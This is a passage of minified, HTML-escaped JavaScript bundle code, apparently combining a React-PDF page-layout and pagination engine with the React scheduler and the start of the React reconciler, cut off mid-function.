cRe(t)},kRe=e=&gt;{Nc(BRe(e),sRe(e.style.width),oRe(e.style.minWidth),lRe(e.style.maxWidth),uRe(e.style.minHeight),dRe(e.style.maxHeight),H9e(e.style.marginTop),q9e(e.style.marginRight),G9e(e.style.marginBottom),V9e(e.style.marginLeft),W9e(e.style.paddingTop),K9e(e.style.paddingRight),Y9e(e.style.paddingBottom),Z9e(e.style.paddingLeft),L9e(e.style.position),rRe(e.style.top),nRe(e.style.right),iRe(e.style.bottom),aRe(e.style.left),J9e(e.style.borderTopWidth),X9e(e.style.borderRightWidth),eRe(e.style.borderBottomWidth),tRe(e.style.borderLeftWidth),I9e(e.style.display),U9e(e.style.flexDirection),T9e(e.style.alignSelf),F9e(e.style.alignContent),R9e(e.style.alignItems),$9e(e.style.justifyContent),B9e(e.style.flexWrap),N9e(e.style.overflow),Q9e(e.style.aspectRatio),_9e(e.style.flexBasis),k9e(e.style.flexGrow),P9e(e.style.flexShrink),fRe(e.style.rowGap),hRe(e.style.columnGap))(e)},_Re=e=&gt;t=&gt;(e.insertChild(t.yogaNode,e.getChildCount()),t),DRe=(e,t,r)=&gt;{const{yogaNode:n}=e;return MK(e)&amp;&amp;n.setMeasureFunc(ARe(t,e,r)),jRe(e)&amp;&amp;n.setMeasureFunc(yRe(t,e)),NRe(e)&amp;&amp;n.setMeasureFunc(ERe(t,e)),LK(e)&amp;&amp;n.setMeasureFunc(pRe(t,e)),e},TRe=e=&gt;!MK(e)&amp;&amp;!CRe(e)&amp;&amp;!LK(e),UK=(e,t,r)=&gt;n=&gt;{const i=r.node.create(),s=Object.assign({},n,{yogaNode:i});if(kRe(s),TRe(n)&amp;&amp;n.children){const o=Nc(_Re(i),UK(e,t,r));s.children=n.children.map(o)}return DRe(s,e,t),s},RRe=e=&gt;(e.yogaNode.calculateLayout(),e),zK=e=&gt;{if(SRe(e))return e;const t=Object.assign(zy(e),B8(e),C9e(e),b9e(e),E9e(e)),r=Object.assign({},e,{box:t});if(!e.children)return r;const n=e.children.map(zK);return Object.assign({},r,{children:n})},$K=e=&gt;{const t=Object.assign({},e);if(delete t.yogaNode,!e.children)return t;const r=e.children.map($K);return Object.assign({},t,{children:r})},PRe=e=&gt;(e.yogaNode&amp;&amp;e.yogaNode.freeRecursive(),e),HK=(e,t,r)=&gt;Oa(e)?null:Nc($K,PRe,zK,RRe,UK(e,t,r))(e),QRe=(e,t)=&gt;{if(!e.children)return e;const r=i=&gt;HK(i,t,e.yoga),n=e.children.map(r);return Object.assign({},e,{children:n})},qK=e=&gt;e.type===rr,FRe=.001,n6=(e,t)=&gt;Object.assign({},t,{children:e}),GK=e=&gt;e.box?.top||0,ORe=e=&gt;e.every(qw),VK=e=&gt;e.props&amp;&amp;&quot;render&quot;in e.props,WK=Nc(N8,HK,S8,_K),LRe=e=&gt;{console.warn(`Node of type ${e.type} can&#039;t wrap between pages and it&#039;s bigger than available page height`)},KK=(e,t,r)=&gt;{const n=[],i=[];for(let s=0;s&lt;r.length;s+=1){const o=r[s],l=r.slice(s+1),c=l.filter(qw),d=GK(o),u=o.box.height,h=e&lt;=d,p=XTe(o,l,e,n),A=e+FRe&lt;d+u,y=TK(o),v=u&lt;=t;if(qw(o)){i.push(o),n.push(o);continue}if(h){const w=Object.assign({},o.box,{top:o.box.top-e}),j=Object.assign({},o,{box:w});i.push(j);continue}if(!v&amp;&amp;!y){n.push(o),i.push(...l),LRe(o);break}if(p){const w=Object.assign({},o.box,{top:o.box.top-e}),j=Object.assign({},o.props,{wrap:!0,break:!1}),E=Object.assign({},o,{box:w,props:j});n.push(...c),i.push(E,...l);break}if(A){const[w,j]=zRe(o,e,t);if(o.children.length&gt;0&amp;&amp;w.children.length===0){if(n.length===0)n.push(o,...c),i.push(...l);else{const E=Object.assign({},o.box,{top:o.box.top-e}),S=Object.assign({},o,{box:E});n.push(...c),i.push(S,...l)}break}w&amp;&amp;n.push(w),j&amp;&amp;i.push(j);continue}n.push(o)}return[n,i]},MRe=(e,t,r)=&gt;{const n=r.children||[],i=e-GK(r);return KK(i,t,n)},URe=(e,t,r)=&gt;{const[n,i]=UTe(e,t),[s,o]=MRe(t,r,e);return[n6(s,n),n6(o,i)]},zRe=(e,t,r)=&gt;qK(e)?OTe(e,t):URe(e,t,r),YK=e=&gt;{const t=e.children||[];return VK(e)||t.some(YK)},i6=(e,t)=&gt;{const r=VK(t),n=(c=[])=&gt;{if(r){const d=t.props.render(e);return Ux(d).filter(Boolean).map(u=&gt;i6(e,u))}return c.map(d=&gt;i6(e,d))},s=r&amp;&amp;qK(t)?{...t.box,height:0}:t.box,o=n(t.children),l=r?null:t.lines;return Object.assign({},t,{box:s,lines:l,children:o})},ZK=(e,t,r,n)=&gt;{if(YK(t)){const i=i6(e,t);return WK(i,r,n)}return t},pF=(e,t,r,n)=&gt;{const i=$Te(e),s=HTe(e),o=ZK({pageNumber:t},e,r,n),l=e.style.height,[c,d]=KK(i,s,o.children),u=w=&gt;WK(w,r,n),h={...e.box,height:l},p=u(Object.assign({},e,{box:h,children:c}));if(d.length===0||ORe(d))return[p,null];const A=JN(&quot;height&quot;,e.box),y=JN(&quot;bookmark&quot;,e.props),v=u(Object.assign({},e,{props:y,box:A,children:d}));return[p,v]},$Re=(e,t,r,n,i)=&gt;{const o={totalPages:i.length,pageNumber:n+1,subPageNumber:r.subPageNumber+1,subPageTotalPages:r.subPageTotalPages};return ZK(o,r,e,t)},HRe=e=&gt;e.map((t,r)=&gt;({...t,subPageNumber:r,subPageTotalPages:e.length})),qRe=e=&gt;JN([&quot;subPageNumber&quot;,&quot;subPageTotalPages&quot;],e),GRe=(e,t,r,n)=&gt;{if(!e)return[];if(e.props?.wrap===!1)return[e];let i=pF(e,t,r,n);const s=[i[0]];let o=i[1];for(;o!==null;)i=pF(o,t+s.length,r,n),s.push(i[0]),o=i[1];return s},VRe=(e,t)=&gt;{let r=[],n=1;for(let i=0;i&lt;e.children.length;i+=1){const s=e.children[i];let o=GRe(s,n,t,e.yoga);o=HRe(o),n+=o.length,r=r.concat(o)}return r=r.map((...i)=&gt;qRe($Re(t,e.yoga,...i))),n6(r,e)},gF=e=&gt;t=&gt;{const r=Po(t),n=e.width;return r?r.percent*n:t},AF=e=&gt;t=&gt;{const r=Po(t),n=e.height;return r?r.percent*n:t},WRe=e=&gt;{const t=e.style,r=kE({paddingTop:AF(t),paddingLeft:gF(t),paddingRight:gF(t),paddingBottom:AF(t)},e.style);return Object.assign({},e,{style:r})},KRe=e=&gt;{if(!e.children)return e;const t=e.children.map(WRe);return Object.assign({},e,{children:t})},Rb=e=&gt;t=&gt;{if(!t)return;const r=Po(t);return r?r.percent*Math.min(e.width,e.height):t},JK=e=&gt;{const t=kE({borderTopLeftRadius:Rb(e.box),borderTopRightRadius:Rb(e.box),borderBottomRightRadius:Rb(e.box),borderBottomLeftRadius:Rb(e.box)},e.style||{}),r=Object.assign({},e,{style:t});if(!e.children)return r;const n=e.children.map(JK);return Object.assign({},r,{children:n})},YRe=(e,t)=&gt;{const r=Po(t);return r?r.percent*e:t},ZRe=e=&gt;{const t=e.style.height,r=e.style?.paddingTop||0,n=e.style?.paddingBottom||0;return t-r-n},JRe=(e,t)=&gt;{if(Oa(e.style?.height)||Oa(t.style?.height))return t;const r=ZRe(e),n=YRe(r,t.style.height),i=Object.assign({},t.style,{height:n});return Object.assign({},t,{style:i})},XRe=e=&gt;{if(!e.children)return e;const t=n=&gt;JRe(e,n),r=e.children.map(t);return Object.assign({},e,{children:r})},ePe=e=&gt;{if(!e.children)return e;const t=e.children.map(XRe);return Object.assign({},e,{children:t})},_8=e=&gt;t=&gt;t.type===e,tPe=_8(KS),XK=_8(rr),eY=_8(Qg),rPe=e=&gt;&quot;render&quot;in e.props,nPe=e=&gt;XK(e)||eY(e),iPe=e=&gt;{const t=e.children||[];return t.every(eY)?!0:t.every(XK)?!1:t.every(nPe)},aPe=e=&gt;{const t={type:rr,props:{},style:{},box:{},children:e.children};return Object.assign({},e,{children:[t]})},sPe=e=&gt;tPe(e)?rPe(e)?Object.assign({},e,{type:rr}):iPe(e)?aPe(e):e:e,tY=e=&gt;{if(!e.children)return e;const t=Nc(sPe,tY),r=e.children.map(t);return Object.assign({},e,{children:r})},oPe=P6e(lTe,bTe,sF,VRe,N8,JK,QRe,NK,sF,S8,ePe,KRe,vTe,tY,ETe,RTe,aTe);var I3={exports:{}},j3={};var xF;function lPe(){return xF||(xF=1,(function(e){function t(G,J){var q=G.length;G.push(J);e:for(;0&lt;q;){var ee=q-1&gt;&gt;&gt;1,ne=G[ee];if(0&lt;i(ne,J))G[ee]=J,G[q]=ne,q=ee;else break e}}function r(G){return G.length===0?null:G[0]}function n(G){if(G.length===0)return null;var J=G[0],q=G.pop();if(q!==J){G[0]=q;e:for(var ee=0,ne=G.length,V=ne&gt;&gt;&gt;1;ee&lt;V;){var ue=2*(ee+1)-1,de=G[ue],xe=ue+1,_e=G[xe];if(0&gt;i(de,q))xe&lt;ne&amp;&amp;0&gt;i(_e,de)?(G[ee]=_e,G[xe]=q,ee=xe):(G[ee]=de,G[ue]=q,ee=ue);else if(xe&lt;ne&amp;&amp;0&gt;i(_e,q))G[ee]=_e,G[xe]=q,ee=xe;else break e}}return J}function i(G,J){var q=G.sortIndex-J.sortIndex;return q!==0?q:G.id-J.id}if(e.unstable_now=void 0,typeof performance==&quot;object&quot;&amp;&amp;typeof performance.now==&quot;function&quot;){var s=performance;e.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],d=[],u=1,h=null,p=3,A=!1,y=!1,v=!1,w=typeof setTimeout==&quot;function&quot;?setTimeout:null,j=typeof clearTimeout==&quot;function&quot;?clearTimeout:null,E=typeof setImmediate&lt;&quot;u&quot;?setImmediate:null;function S(G){for(var J=r(d);J!==null;){if(J.callback===null)n(d);else if(J.startTime&lt;=G)n(d),J.sortIndex=J.expirationTime,t(c,J);else break;J=r(d)}}function _(G){if(v=!1,S(G),!y)if(r(c)!==null)y=!0,X();else{var J=r(d);J!==null&amp;&amp;W(_,J.startTime-G)}}var C=!1,Q=-1,R=5,T=-1;function M(){return!(e.unstable_now()-T&lt;R)}function O(){if(C){var G=e.unstable_now();T=G;var J=!0;try{e:{y=!1,v&amp;&amp;(v=!1,j(Q),Q=-1),A=!0;var q=p;try{t:{for(S(G),h=r(c);h!==null&amp;&amp;!(h.expirationTime&gt;G&amp;&amp;M());){var ee=h.callback;if(typeof ee==&quot;function&quot;){h.callback=null,p=h.priorityLevel;var ne=ee(h.expirationTime&lt;=G);if(G=e.unstable_now(),typeof ne==&quot;function&quot;){h.callback=ne,S(G),J=!0;break t}h===r(c)&amp;&amp;n(c),S(G)}else n(c);h=r(c)}if(h!==null)J=!0;else{var V=r(d);V!==null&amp;&amp;W(_,V.startTime-G),J=!1}}break e}finally{h=null,p=q,A=!1}J=void 0}}finally{J?$():C=!1}}}var $;if(typeof E==&quot;function&quot;)$=function(){E(O)};else if(typeof MessageChannel&lt;&quot;u&quot;){var P=new MessageChannel,L=P.port2;P.port1.onmessage=O,$=function(){L.postMessage(null)}}else $=function(){w(O,0)};function X(){C||(C=!0,$())}function W(G,J){Q=w(function(){G(e.unstable_now())},J)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(G){G.callback=null},e.unstable_continueExecution=function(){y||A||(y=!0,X())},e.unstable_forceFrameRate=function(G){0&gt;G||125&lt;G?console.error(&quot;forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported&quot;):R=0&lt;G?Math.floor(1e3/G):5},e.unstable_getCurrentPriorityLevel=function(){return p},e.unstable_getFirstCallbackNode=function(){return r(c)},e.unstable_next=function(G){switch(p){case 1:case 2:case 3:var J=3;break;default:J=p}var q=p;p=J;try{return G()}finally{p=q}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function(G,J){switch(G){case 1:case 2:case 3:case 4:case 5:break;default:G=3}var q=p;p=G;try{return J()}finally{p=q}},e.unstable_scheduleCallback=function(G,J,q){var ee=e.unstable_now();switch(typeof q==&quot;object&quot;&amp;&amp;q!==null?(q=q.delay,q=typeof q==&quot;number&quot;&amp;&amp;0&lt;q?ee+q:ee):q=ee,G){case 1:var ne=-1;break;case 2:ne=250;break;case 5:ne=1073741823;break;case 4:ne=1e4;break;default:ne=5e3}return ne=q+ne,G={id:u++,callback:J,priorityLevel:G,startTime:q,expirationTime:ne,sortIndex:-1},q&gt;ee?(G.sortIndex=q,t(d,G),r(c)===null&amp;&amp;G===r(d)&amp;&amp;(v?(j(Q),Q=-1):v=!0,W(_,q-ee))):(G.sortIndex=ne,t(c,G),y||A||(y=!0,X())),G},e.unstable_shouldYield=M,e.unstable_wrapCallback=function(G){var J=p;return function(){var q=p;p=J;try{return G.apply(this,arguments)}finally{p=q}}}})(j3)),j3}var vF;function cPe(){return vF||(vF=1,I3.exports=lPe()),I3.exports}var rY=cPe();const uPe=ma(rY),nY=dO({__proto__:null,default:uPe},[rY]);function dPe(e){return e&amp;&amp;e.__esModule&amp;&amp;Object.prototype.hasOwnProperty.call(e,&quot;default&quot;)?e.default:e}function fPe(e){if(e.__esModule)return e;var t=e.default;if(typeof t==&quot;function&quot;){var r=function n(){return this instanceof n?Reflect.construct(t,arguments,this.constructor):t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,&quot;__esModule&quot;,{value:!0}),Object.keys(e).forEach((function(n){var i=Object.getOwnPropertyDescriptor(e,n);Object.defineProperty(r,n,i.get?i:{enumerable:!0,get:function(){return e[n]}})})),r}var yF,iY={exports:{}},bF={exports:{}},hPe=fPe(nY),Pb;iY.exports=(yF||(yF=1,(Pb=bF).exports=function(e){function t(g,x,D,U){return new mf(g,x,D,U)}function r(g){var x=&quot;https://react.dev/errors/&quot;+g;if(1&lt;arguments.length){x+=&quot;?args[]=&quot;+encodeURIComponent(arguments[1]);for(var D=2;D&lt;arguments.length;D++)x+=&quot;&amp;args[]=&quot;+encodeURIComponent(arguments[D])}return&quot;Minified React error #&quot;+g+&quot;; visit &quot;+x+&quot; for the full message or use the non-minified dev environment for full errors and additional helpful warnings.&quot;}function n(g){return g===null||typeof g!=&quot;object&quot;?null:typeof(g=mp&amp;&amp;g[mp]||g[&quot;@@iterator&quot;])==&quot;function&quot;?g:null}function i(g){if(g==null)return null;if(typeof g==&quot;function&quot;)return g.$$typeof===Ch?null:g.displayName||g.name||null;if(typeof g==&quot;string&quot;)return g;switch(g){case Yo:return&quot;Fragment&quot;;case lc:return&quot;Portal&quot;;case Lc:return&quot;Profiler&quot;;case vs:return&quot;StrictMode&quot;;case y0:return&quot;Suspense&quot;;case b0:return&quot;SuspenseList&quot;}if(typeof g==&quot;object&quot;)switch(g.$$typeof){case Eo:return(g.displayName||&quot;Context&quot;)+&quot;.Provider&quot;;case hp:return(g._context.displayName||&quot;Context&quot;)+&quot;.Consumer&quot;;case gf:var x=g.render;return(g=g.displayName)||(g=(g=x.displayName||x.name||&quot;&quot;)!==&quot;&quot;?&quot;ForwardRef(&quot;+g+&quot;)&quot;:&quot;ForwardRef&quot;),g;case Nu:return(x=g.displayName||null)!==null?x:i(g.type)||&quot;Memo&quot;;case cc:x=g._payload,g=g._init;try{return i(g(x))}catch{}}return null}function s(g){if(v0===void 0)try{throw Error()}catch(D){var x=D.stack.trim().match(/\n( *(at )?)/);v0=x&amp;&amp;x[1]||&quot;&quot;,Oc=-1&lt;D.stack.indexOf(`
    at`)?&quot; (&lt;anonymous&gt;)&quot;:-1&lt;D.stack.indexOf(&quot;@&quot;)?&quot;@unknown:0:0&quot;:&quot;&quot;}return`
`+v0+g+Oc}function o(g,x){if(!g||pp)return&quot;&quot;;pp=!0;var D=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var U={DetermineComponentFrameRoot:function(){try{if(x){var gr=function(){throw Error()};if(Object.defineProperty(gr.prototype,&quot;props&quot;,{set:function(){throw Error()}}),typeof Reflect==&quot;object&quot;&amp;&amp;Reflect.construct){try{Reflect.construct(gr,[])}catch(Qr){var Wt=Qr}Reflect.construct(g,[],gr)}else{try{gr.call()}catch(Qr){Wt=Qr}g.call(gr.prototype)}}else{try{throw Error()}catch(Qr){Wt=Qr}(gr=g())&amp;&amp;typeof gr.catch==&quot;function&quot;&amp;&amp;gr.catch((function(){}))}}catch(Qr){if(Qr&amp;&amp;Wt&amp;&amp;typeof Qr.stack==&quot;string&quot;)return[Qr.stack,Wt.stack]}return[null,null]}};U.DetermineComponentFrameRoot.displayName=&quot;DetermineComponentFrameRoot&quot;;var Z=Object.getOwnPropertyDescriptor(U.DetermineComponentFrameRoot,&quot;name&quot;);Z&amp;&amp;Z.configurable&amp;&amp;Object.defineProperty(U.DetermineComponentFrameRoot,&quot;name&quot;,{value:&quot;DetermineComponentFrameRoot&quot;});var se=U.DetermineComponentFrameRoot(),je=se[0],Me=se[1];if(je&amp;&amp;Me){var Ge=je.split(`
`),St=Me.split(`
`);for(Z=U=0;U&lt;Ge.length&amp;&amp;!Ge[U].includes(&quot;DetermineComponentFrameRoot&quot;);)U++;for(;Z&lt;St.length&amp;&amp;!St[Z].includes(&quot;DetermineComponentFrameRoot&quot;);)Z++;if(U===Ge.length||Z===St.length)for(U=Ge.length-1,Z=St.length-1;1&lt;=U&amp;&amp;0&lt;=Z&amp;&amp;Ge[U]!==St[Z];)Z--;for(;1&lt;=U&amp;&amp;0&lt;=Z;U--,Z--)if(Ge[U]!==St[Z]){if(U!==1||Z!==1)do if(U--,0&gt;--Z||Ge[U]!==St[Z]){var vr=`
`+Ge[U].replace(&quot; at new &quot;,&quot; at &quot;);return g.displayName&amp;&amp;vr.includes(&quot;&lt;anonymous&gt;&quot;)&amp;&amp;(vr=vr.replace(&quot;&lt;anonymous&gt;&quot;,g.displayName)),vr}while(1&lt;=U&amp;&amp;0&lt;=Z);break}}}finally{pp=!1,Error.prepareStackTrace=D}return(D=g?g.displayName||g.name:&quot;&quot;)?s(D):&quot;&quot;}function l(g){switch(g.tag){case 26:case 27:case 5:return s(g.type);case 16:return s(&quot;Lazy&quot;);case 13:return s(&quot;Suspense&quot;);case 19:return s(&quot;SuspenseList&quot;);case 0:case 15:return o(g.type,!1);case 11:return o(g.type.render,!1);case 1:return o(g.type,!0);default:return&quot;&quot;}}function c(g){try{var x=&quot;&quot;;do x+=l(g),g=g.return;while(g);return x}catch(D){return`
Error generating stack: `+D.message+`
`+D.stack}}function d(g){return{current:g}}function u(g){0&gt;fd||(g.current=Ap[fd],Ap[fd]=null,fd--)}function h(g,x){fd++,Ap[fd]=g.current,g.current=x}function p(g){var x=42&amp;g;if(x!==0)return x;switch(g&amp;-g){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return 4194176&amp;g;case 4194304:case 8388608:case 16777216:case 33554432:return 62914560&amp;g;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return g}}function A(g,x){var D=g.pendingLanes;if(D===0)return 0;var U=0,Z=g.suspendedLanes;g=g.pingedLanes;var se=134217727&amp;D;return se!==0?(D=se&amp;~Z)!=0?U=p(D):(g&amp;=se)!=0&amp;&amp;(U=p(g)):(D&amp;=~Z)!=0?U=p(D):g!==0&amp;&amp;(U=p(g)),U===0?0:x!==0&amp;&amp;x!==U&amp;&amp;(x&amp;Z)==0&amp;&amp;((Z=U&amp;-U)&gt;=(g=x&amp;-x)||Z===32&amp;&amp;(4194176&amp;g)!=0)?x:U}function y(g,x){switch(g){case 1:case 2:case 4:case 8:return x+250;case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return x+5e3;default:return-1}}function v(){var g=xp;return(4194176&amp;(xp&lt;&lt;=1))==0&amp;&amp;(xp=128),g}function w(){var g=dx;return(62914560&amp;(dx&lt;&lt;=1))==0&amp;&amp;(dx=4194304),g}function j(g){for(var x=[],D=0;31&gt;D;D++)x.push(g);return x}function E(g,x){g.pendingLanes|=x,x!==268435456&amp;&amp;(g.suspendedLanes=0,g.pingedLanes=0,g.warmLanes=0)}function S(g,x,D){g.pendingLanes|=x,g.suspendedLanes&amp;=~x;var U=31-$c(x);g.entangledLanes|=x,g.entanglements[U]=1073741824|g.entanglements[U]|4194218&amp;D}function _(g,x){var D=g.entangledLanes|=x;for(g=g.entanglements;D;){var U=31-$c(D),Z=1&lt;&lt;U;Z&amp;x|g[U]&amp;x&amp;&amp;(g[U]|=x),D&amp;=~Z}}function C(g){return 2&lt;(g&amp;=-g)?8&lt;g?(134217727&amp;g)!=0?32:268435456:8:2}function Q(g){typeof hx==&quot;function&quot;&amp;&amp;mx(g)}function R(g,x){if(typeof g==&quot;object&quot;&amp;&amp;g!==null){var D=bf.get(g);return D!==void 0?D:(x={value:g,source:x,stack:c(x)},bf.set(g,x),x)}return{value:g,source:x,stack:c(x)}}function T(g){for(;g===iA;)iA=Xo[--_u],Xo[_u]=null,Xo[--_u],Xo[_u]=null;for(;g===C0;)C0=wf[--bl],wf[bl]=null,wf[--bl],wf[bl]=null,wf[--bl],wf[bl]=null}function M(g,x){h(dc,x),h(Sh,g),h(Hc,null),g=Xg(x),u(Hc),h(Hc,g)}function O(){u(Hc),u(Sh),u(dc)}function $(g){g.memoizedState!==null&amp;&amp;h(qc,g);var x=Hc.current,D=w0(x,g.type);x!==D&amp;&amp;(h(Sh,g),h(Hc,D))}function P(g){Sh.current===g&amp;&amp;(u(Hc),u(Sh)),qc.current===g&amp;&amp;(u(qc),N._currentValue2=B)}function L(){for(var g=Ef,x=Cf=Ef=0;x&lt;g;){var D=el[x];el[x++]=null;var U=el[x];el[x++]=null;var Z=el[x];el[x++]=null;var se=el[x];if(el[x++]=null,U!==null&amp;&amp;Z!==null){var je=U.pending;je===null?Z.next=Z:(Z.next=je.next,je.next=Z),U.pending=Z}se!==0&amp;&amp;J(D,Z,se)}}function X(g,x,D,U){el[Ef++]=g,el[Ef++]=x,el[Ef++]=D,el[Ef++]=U,Cf|=U,g.lanes|=U,(g=g.alternate)!==null&amp;&amp;(g.lanes|=U)}function W(g,x,D,U){return X(g,x,D,U),q(g)}function G(g,x){return X(g,null,null,x),q(g)}function J(g,x,D){g.lanes|=D;var U=g.alternate;U!==null&amp;&amp;(U.lanes|=D);for(var Z=!1,se=g.return;se!==null;)se.childLanes|=D,(U=se.alternate)!==null&amp;&amp;(U.childLanes|=D),se.tag===22&amp;&amp;((g=se.stateNode)===null||1&amp;g._visibility||(Z=!0)),g=se,se=se.return;Z&amp;&amp;x!==null&amp;&amp;g.tag===3&amp;&amp;(se=g.stateNode,Z=31-$c(D),(g=(se=se.hiddenUpdates)[Z])===null?se[Z]=[x]:g.push(x),x.lane=536870912|D)}function q(g){if(50&lt;_f)throw _f=0,Oh=null,Error(r(185));for(var x=g.return;x!==null;)x=(g=x).return;return g.tag===3?g.stateNode:null}function ee(g){g!==Tu&amp;&amp;g.next===null&amp;&amp;(Tu===null?Ll=Tu=g:Tu=Tu.next=g),Ru=!0,If||(If=!0,yf(fx,V))}function ne(g,x){if(!yp&amp;&amp;Ru){yp=!0;do for(var D=!1,U=Ll;U!==null;){if(g!==0){var Z=U.pendingLanes;if(Z===0)var se=0;else{var je=U.suspendedLanes,Me=U.pingedLanes;se=(1&lt;&lt;31-$c(42|g)+1)-1,se=201326677&amp;(se&amp;=Z&amp;~(je&amp;~Me))?201326677&amp;se|1:se?2|se:0}se!==0&amp;&amp;(D=!0,xe(U,se))}else se=ui,(3&amp;(se=A(U,U===Wi?se:0)))!=0&amp;&amp;(D=!0,xe(U,se));U=U.next}while(D);yp=!1}}function V(){Ru=If=!1;var g=0;Gc!==0&amp;&amp;(Ts()&amp;&amp;(g=Gc),Gc=0);for(var x=yl(),D=null,U=Ll;U!==null;){var Z=U.next,se=ue(U,x);se===0?(U.next=null,D===null?Ll=Z:D.next=Z,Z===null&amp;&amp;(Tu=D)):(D=U,(g!==0||(3&amp;se)!=0)&amp;&amp;(Ru=!0)),U=Z}ne(g)}function ue(g,x){for(var D=g.suspendedLanes,U=g.pingedLanes,Z=g.expirationTimes,se=-62914561&amp;g.pendingLanes;0&lt;se;){var je=31-$c(se),Me=1&lt;&lt;je,Ge=Z[je];Ge===-1?(Me&amp;D)!=0&amp;&amp;(Me&amp;U)==0||(Z[je]=y(Me,x)):Ge&lt;=x&amp;&amp;(g.expiredLanes|=Me),se&amp;=~Me}if(D=ui,D=A(g,g===(x=Wi)?D:0),U=g.callbackNode,D===0||g===x&amp;&amp;wa===2||g.cancelPendingCommit!==null)return U!==null&amp;&amp;U!==null&amp;&amp;jh(U),g.callbackNode=null,g.callbackPriority=0;if((3&amp;D)!=0)return U!==null&amp;&amp;U!==null&amp;&amp;jh(U),g.callbackPriority=2,g.callbackNode=null,2;if((x=D&amp;-D)===g.callbackPriority)return x;switch(U!==null&amp;&amp;jh(U),C(D)){case 2:D=fx;break;case 8:D=rA;break;case 32:default:D=vp;break;case 268435456:D=Nh}return U=de.bind(null,g),D=yf(D,U),g.callbackPriority=x,g.callbackNode=D,x}function de(g,x){var D=g.callbackNode;if(Yr()&amp;&amp;g.callbackNode!==D)return null;var U=ui;return(U=A(g,g===Wi?U:0))===0?null:(ff(g,U,x),ue(g,yl()),g.callbackNode===D?de.bind(null,g):null)}function xe(g,x){if(Yr())return null;ff(g,x,!0)}function _e(){return Gc===0&amp;&amp;(Gc=v()),Gc}function Ce(){if(--bp==0&amp;&amp;Bh!==null){Pu!==null&amp;&amp;(Pu.status=&quot;fulfilled&quot;);var g=Bh;Bh=null,Pi=0,Pu=null;for(var x=0;x&lt;g.length;x++)(0,g[x])()}}function we(g){g.updateQueue={baseState:g.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function ve(g,x){g=g.updateQueue,x.updateQueue===g&amp;&amp;(x.updateQueue={baseState:g.baseState,firstBaseUpdate:g.firstBaseUpdate,lastBaseUpdate:g.lastBaseUpdate,shared:g.shared,callbacks:null})}function Ne(g){return{lane:g,tag:0,payload:null,callback:null,next:null}}function Ie(g,x,D){var U=g.updateQueue;if(U===null)return null;if(U=U.shared,(2&amp;Wa)!=0){var Z=U.pending;return Z===null?x.next=x:(x.next=Z.next,Z.next=x),U.pending=x,x=q(g),J(g,null,D),x}return X(g,U,x,D),q(g)}function be(g,x,D){if((x=x.updateQueue)!==null&amp;&amp;(x=x.shared,(4194176&amp;D)!=0)){var U=x.lanes;D|=U&amp;=g.pendingLanes,x.lanes=D,_(g,D)}}function Re(g,x){var D=g.updateQueue,U=g.alternate;if(U!==null&amp;&amp;D===(U=U.updateQueue)){var Z=null,se=null;if((D=D.firstBaseUpdate)!==null){do{var je={lane:D.lane,tag:D.tag,payload:D.payload,callback:null,next:null};se===null?Z=se=je:se=se.next=je,D=D.next}while(D!==null);se===null?Z=se=x:se=se.next=x}else Z=se=x;return D={baseState:U.baseState,firstBaseUpdate:Z,lastBaseUpdate:se,shared:U.shared,callbacks:U.callbacks},void(g.updateQueue=D)}(g=D.lastBaseUpdate)===null?D.firstBaseUpdate=x:g.next=x,D.lastBaseUpdate=x}function Pe(){if(wp&amp;&amp;Pu!==null)throw Pu}function Ke(g,x,D,U){wp=!1;var Z=g.updateQueue;Qu=!1;var se=Z.firstBaseUpdate,je=Z.lastBaseUpdate,Me=Z.shared.pending;if(Me!==null){Z.shared.pending=null;var Ge=Me,St=Ge.next;Ge.next=null,je===null?se=St:je.next=St,je=Ge;var vr=g.alternate;vr!==null&amp;&amp;(Me=(vr=vr.updateQueue).lastBaseUpdate)!==je&amp;&amp;(Me===null?vr.firstBaseUpdate=St:Me.next=St,vr.lastBaseUpdate=Ge)}if(se!==null){var gr=Z.baseState;for(je=0,vr=St=Ge=null,Me=se;;){var Wt=-536870913&amp;Me.lane,Qr=Wt!==Me.lane;if(Qr?(ui&amp;Wt)===Wt:(U&amp;Wt)===Wt){Wt!==0&amp;&amp;Wt===Pi&amp;&amp;(wp=!0),vr!==null&amp;&amp;(vr=vr.next={lane:0,tag:Me.tag,payload:Me.payload,callback:null,next:null});e:{var Ea=g,ut=Me;Wt=x;var st=D;switch(ut.tag){case 1:if(typeof(Ea=ut.payload)==&quot;function&quot;){gr=Ea.call(st,gr,Wt);break e}gr=Ea;break e;case 3:Ea.flags=-65537&amp;Ea.flags|128;case 0:if((Wt=typeof(Ea=ut.payload)==&quot;function&quot;?Ea.call(st,gr,Wt):Ea)==null)break e;gr=Ds({},gr,Wt);break e;case 2:Qu=!0}}(Wt=Me.callback)!==null&amp;&amp;(g.flags|=64,Qr&amp;&amp;(g.flags|=8192),(Qr=Z.callbacks)===null?Z.callbacks=[Wt]:Qr.push(Wt))}else 